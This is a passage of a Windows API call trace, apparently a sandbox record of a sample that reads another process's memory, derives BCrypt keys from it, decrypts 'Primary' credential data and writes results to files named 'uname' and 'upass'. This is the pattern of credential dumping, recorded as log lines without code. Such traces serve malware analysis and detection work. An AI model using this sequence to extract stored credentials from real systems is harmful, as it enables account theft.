LocalFree (hMem=0x1eddc0) returned 0x0 [0062.167] LocalFree (hMem=0x1d0400) returned 0x0 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.168] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.168] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.168] LocalFree (hMem=0x1d0420) returned 0x0 [0062.168] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.168] LocalFree (hMem=0x1d0400) returned 0x0 [0062.168] NtQueryInformationProcess (in: ProcessHandle=0x118, ProcessInformationClass=0x1a, ProcessInformation=0x12fa88, ProcessInformationLength=0x8, ReturnLength=0x12fae0 | out: ProcessInformation=0x12fa88, ReturnLength=0x12fae0) returned 0x0 [0062.172] LocalAlloc (uFlags=0x40, uBytes=0x167000) returned 0x2300040 [0062.194] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd00000, lpBuffer=0x2300040, nSize=0x167000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2300040*, lpNumberOfBytesRead=0x0) returned 1 [0062.255] LocalFree (hMem=0x2300040) returned 0x0 [0062.262] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcda5ada, lpBuffer=0x12fcc0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.262] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcda5ac3, lpBuffer=0x12fcc0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.262] LocalAlloc (uFlags=0x40, uBytes=0x167000) returned 0x2300040 [0062.262] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd00000, lpBuffer=0x2300040, nSize=0x167000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2300040*, lpNumberOfBytesRead=0x0) returned 1 [0062.291] LocalFree (hMem=0x2300040) returned 0x0 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd6fc17, lpBuffer=0x12fcc0, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce4c840, lpBuffer=0x1400e0bd0, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1400e0bd0*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1ee2e0 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd6fb9f, lpBuffer=0x12fc58, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc58*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce4c830, lpBuffer=0x12fc60, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc60*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x490000, lpBuffer=0x12fbe8, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbe8*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x490020, lpBuffer=0x1ee2e0, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.298] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.298] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x49003c, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptGenerateSymmetricKey") returned 0x7fefcaf1aa0 [0062.299] BCryptGenerateSymmetricKey (in: hAlgorithm=0x1dd950, phKey=0x1400e0c08, pbKeyObject=0x1ec320, cbKeyObject=0x1fa, pbSecret=0x1d0400, cbSecret=0x18, dwFlags=0x0 | out: hAlgorithm=0x1dd950, phKey=0x1400e0c08, pbKeyObject=0x1ec320) returned 0x0 [0062.299] LocalFree (hMem=0x1d0400) returned 0x0 [0062.299] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.299] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1ee2e0 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefcd6fbf5, lpBuffer=0x12fc58, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc58*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce514b0, lpBuffer=0x12fc60, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc60*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x490200, lpBuffer=0x12fbe8, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbe8*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x490220, lpBuffer=0x1ee2e0, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x1d0400 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x49023c, lpBuffer=0x1d0400, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.299] BCryptGenerateSymmetricKey (in: hAlgorithm=0x1eeff0, phKey=0x1400e0be8, pbKeyObject=0x1ef110, cbKeyObject=0x26e, pbSecret=0x1d0400, cbSecret=0x10, dwFlags=0x0 | out: hAlgorithm=0x1eeff0, phKey=0x1400e0be8, pbKeyObject=0x1ef110) returned 0x0 [0062.299] LocalFree (hMem=0x1d0400) returned 0x0 [0062.299] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.299] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce497c0, lpBuffer=0x12fe20, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fe20*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefce4d440, lpBuffer=0x12fd70, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd70*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x447d50, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1ee2e0 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x42db40, lpBuffer=0x1ee2e0, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee310 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x42db70, lpBuffer=0x1ee310, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee310*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4296a1, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x1d0400 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4296a0, lpBuffer=0x1d0400, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.300] LocalFree (hMem=0x1ee310) returned 0x0 [0062.300] LocalFree (hMem=0x1d0400) returned 0x0 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x428750, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb440 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4164e0, lpBuffer=0x1eb440, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb440*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429460, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.300] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x1d0420 [0062.300] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427070, lpBuffer=0x1d0420, nSize=0x12, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.301] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427091, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.301] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee310 [0062.301] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427090, lpBuffer=0x1ee310, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee310*, lpNumberOfBytesRead=0x0) returned 1 [0062.301] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.301] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.301] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.302] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:28 PM") returned 11 [0062.302] ConvertSidToStringSidW () returned 0x1 [0062.302] LocalFree (hMem=0x1c90c0) returned 0x0 [0062.302] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429420, lpBuffer=0x12fca0, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fca0*, lpNumberOfBytesRead=0x0) returned 1 [0062.302] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e7030, lpBuffer=0x12fcb8, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcb8*, lpNumberOfBytesRead=0x0) returned 1 [0062.302] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x1ef390 [0062.302] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e7060, lpBuffer=0x1ef390, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef390*, lpNumberOfBytesRead=0x0) returned 1 [0062.302] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x1eded0 [0062.302] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e7058, lpBuffer=0x1eded0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eded0*, lpNumberOfBytesRead=0x0) returned 1 [0062.302] RtlEqualString (String1="Primary", String2="Primary", CaseInSensitive=0) returned 1 [0062.307] ConvertSidToStringSidW () returned 0x1 [0062.307] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptDecrypt") returned 0x7fefcaf1030 [0062.307] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1ef390, cbInput=0x98, pPaddingInfo=0x0, pbIV=0x12f978, cbIV=0x8, pbOutput=0x1ef390, cbOutput=0x98, pcbResult=0x12f9a8, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f978, pbOutput=0x1ef390, pcbResult=0x12f9a8) returned 0x0 [0062.315] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x1ef440 [0062.315] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x5e) returned 0x1c90c0 [0062.319] CryptAcquireContextW (in: phProv=0x12f888, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x12f888*=0x1cc920) returned 1 [0062.355] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee3d0 [0062.356] CryptImportKey (in: hProv=0x1cc920, pbData=0x1ee3d0, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x100, phKey=0x12f890 | out: phKey=0x12f890*=0x1c9130) returned 1 [0062.357] LocalFree (hMem=0x1ee3d0) returned 0x0 [0062.357] CryptCreateHash (in: hProv=0x1cc920, Algid=0x8009, hKey=0x1c9130, dwFlags=0x0, phHash=0x12f880 | out: phHash=0x12f880) returned 1 [0062.357] CryptSetHashParam (hHash=0x1c91a0, dwParam=0x5, pbData=0x12f898, dwFlags=0x0) returned 1 [0062.357] CryptHashData (hHash=0x1c91a0, pbData=0x1c90c0, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0062.357] CryptGetHashParam (in: hHash=0x1c91a0, dwParam=0x2, pbData=0x0, pdwDataLen=0x12f8e0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x12f8e0) returned 1 [0062.357] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d04c0 [0062.357] CryptGetHashParam (in: hHash=0x1c91a0, dwParam=0x2, pbData=0x1d04c0, pdwDataLen=0x12f8e0, dwFlags=0x0 | out: pbData=0x1d04c0, pdwDataLen=0x12f8e0) returned 1 [0062.357] LocalFree (hMem=0x1d04c0) returned 0x0 [0062.357] CryptDestroyHash (hHash=0x1c91a0) returned 1 [0062.357] CryptDestroyKey (hKey=0x1c9130) returned 1 [0062.357] CryptReleaseContext (hProv=0x1cc920, dwFlags=0x0) returned 1 [0062.358] CryptAcquireContextW (in: phProv=0x12f888, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x12f888*=0x1cc920) returned 1 [0062.358] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1ee3a0 [0062.358] CryptImportKey (in: hProv=0x1cc920, pbData=0x1ee3a0, dwDataLen=0x20, hPubKey=0x0, dwFlags=0x100, phKey=0x12f890 | out: phKey=0x12f890*=0x1c9130) returned 1 [0062.358] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.358] CryptCreateHash (in: hProv=0x1cc920, Algid=0x8009, hKey=0x1c9130, dwFlags=0x0, phHash=0x12f880 | out: phHash=0x12f880) returned 1 [0062.358] CryptSetHashParam (hHash=0x1c91a0, dwParam=0x5, pbData=0x12f898, dwFlags=0x0) returned 1 [0062.358] CryptHashData (hHash=0x1c91a0, pbData=0x1c90c0, dwDataLen=0x5e, dwFlags=0x0) returned 1 [0062.358] CryptGetHashParam (in: hHash=0x1c91a0, dwParam=0x2, pbData=0x0, pdwDataLen=0x12f8e0, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x12f8e0) returned 1 [0062.358] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d04c0 [0062.358] CryptGetHashParam (in: hHash=0x1c91a0, dwParam=0x2, pbData=0x1d04c0, pdwDataLen=0x12f8e0, dwFlags=0x0 | out: pbData=0x1d04c0, pdwDataLen=0x12f8e0) returned 1 [0062.358] LocalFree (hMem=0x1d04c0) returned 0x0 [0062.358] CryptDestroyHash (hHash=0x1c91a0) returned 1 [0062.358] CryptDestroyKey (hKey=0x1c9130) returned 1 [0062.358] CryptReleaseContext (hProv=0x1cc920, dwFlags=0x0) returned 1 [0062.358] LocalFree (hMem=0x1c9050) returned 0x0 [0062.359] LocalFree (hMem=0x1eded0) returned 0x0 [0062.359] LocalFree (hMem=0x1ef390) returned 0x0 [0062.359] LocalAlloc (uFlags=0x40, uBytes=0x18000) returned 0x1f0750 [0062.360] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc660000, lpBuffer=0x1f0750, nSize=0x18000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1f0750*, lpNumberOfBytesRead=0x0) returned 1 [0062.425] LocalFree (hMem=0x1f0750) returned 0x0 [0062.425] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc665b09, lpBuffer=0x12fc40, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc40*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e60a0, lpBuffer=0x12fa40, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa40*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4109d0, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a58, lpBuffer=0x12fcf0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fcf0*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3ff970, lpBuffer=0x12fca0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fca0*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] ConvertSidToStringSidW () returned 0x1 [0062.426] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0440 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x427280, lpBuffer=0x1d0440, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.426] IsTextUnicode (in: lpv=0x1d0440, iSize=18, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.426] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.426] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6050, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.427] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.427] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0460 [0062.427] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4272b0, lpBuffer=0x1d0460, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.427] BCryptDecrypt (in: hKey=0x1ec320, pbInput=0x1d0460, cbInput=0x18, pPaddingInfo=0x0, pbIV=0x12f998, cbIV=0x8, pbOutput=0x1d0460, cbOutput=0x18, pcbResult=0x12f9c8, dwFlags=0x0 | out: hKey=0x1ec320, pbIV=0x12f998, pbOutput=0x1d0460, pcbResult=0x12f9c8) returned 0x0 [0062.427] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12f9c0 | out: lpiResult=0x12f9c0) returned 1 [0062.431] GetLastError () returned 0x0 [0062.431] SetLastError (dwErrCode=0x0) [0062.435] GetLastError () returned 0x0 [0062.435] SetLastError (dwErrCode=0x0) [0062.435] GetLastError () returned 0x0 [0062.435] SetLastError (dwErrCode=0x0) [0062.435] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x58) returned 0x1dddb0 [0062.444] GetProcAddress (hModule=0x76f20000, lpProcName="AreFileApisANSI") returned 0x76f6c5d0 [0062.444] AreFileApisANSI () returned 1 [0062.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.444] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfaf0, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0062.444] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.469] GetFileType (hFile=0x14c) returned 0x1 [0062.469] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f618, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f618*=2012480) returned 0 [0062.470] GetLastError () returned 0x83 [0062.470] GetLastError () returned 0x83 [0062.470] SetLastError (dwErrCode=0x83) [0062.470] GetLastError () returned 0x83 [0062.470] SetLastError (dwErrCode=0x83) [0062.470] GetLastError () returned 0x83 [0062.470] SetLastError (dwErrCode=0x83) [0062.470] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.496] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f718, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f718*=0) returned 1 [0062.496] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=0) returned 1 [0062.496] WriteFile (in: hFile=0x14c, lpBuffer=0x12e310*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x12e300, lpOverlapped=0x0 | out: lpBuffer=0x12e310*, lpNumberOfBytesWritten=0x12e300*=0x16, lpOverlapped=0x0) returned 1 [0062.497] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.497] CloseHandle (hObject=0x14c) returned 1 [0062.498] GetLastError () returned 0x83 [0062.498] SetLastError (dwErrCode=0x83) [0062.498] AreFileApisANSI () returned 1 [0062.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0062.498] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x32) returned 0x1eb540 [0062.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1400cfb10, cbMultiByte=-1, lpWideCharStr=0x1eb540, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0062.498] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x12f6a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0062.499] GetFileType (hFile=0x14c) returned 0x1 [0062.499] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffffffffffff, lpNewFilePointer=0x12f618, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f618*=2012480) returned 0 [0062.499] GetLastError () returned 0x83 [0062.499] GetLastError () returned 0x83 [0062.499] SetLastError (dwErrCode=0x83) [0062.499] GetLastError () returned 0x83 [0062.499] SetLastError (dwErrCode=0x83) [0062.499] GetLastError () returned 0x83 [0062.499] SetLastError (dwErrCode=0x83) [0062.499] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1eb540 | out: hHeap=0x1a0000) returned 1 [0062.499] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x1000) returned 0x1e10d0 [0062.499] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f718, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f718*=0) returned 1 [0062.499] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x12f758, dwMoveMethod=0x2 | out: lpNewFilePointer=0x12f758*=0) returned 1 [0062.500] WriteFile (in: hFile=0x14c, lpBuffer=0x12e310*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x12e300, lpOverlapped=0x0 | out: lpBuffer=0x12e310*, lpNumberOfBytesWritten=0x12e300*=0xb, lpOverlapped=0x0) returned 1 [0062.500] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1e10d0 | out: hHeap=0x1a0000) returned 1 [0062.500] CloseHandle (hObject=0x14c) returned 1 [0062.501] LocalFree (hMem=0x1eb4c0) returned 0x0 [0062.501] LocalFree (hMem=0x1d0440) returned 0x0 [0062.501] LocalFree (hMem=0x1d0460) returned 0x0 [0062.501] LocalFree (hMem=0x1c9130) returned 0x0 [0062.501] LocalAlloc (uFlags=0x40, uBytes=0x36000) returned 0x1f0750 [0062.504] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6d0000, lpBuffer=0x1f0750, nSize=0x36000, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1f0750*, lpNumberOfBytesRead=0x0) returned 1 [0062.510] LocalFree (hMem=0x1f0750) returned 0x0 [0062.510] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6d17c2, lpBuffer=0x12fc80, nSize=0x4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.510] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3a0 [0062.510] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.510] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.510] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.510] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1c9130 [0062.510] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1c9130, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c9130*, lpNumberOfBytesRead=0x0) returned 1 [0062.510] ConvertSidToStringSidW () returned 0x1 [0062.511] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb4c0 [0062.511] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4168a0, lpBuffer=0x1eb4c0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb4c0*, lpNumberOfBytesRead=0x0) returned 1 [0062.511] IsTextUnicode (in: lpv=0x1eb4c0, iSize=40, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.511] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0460 [0062.511] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x429580, 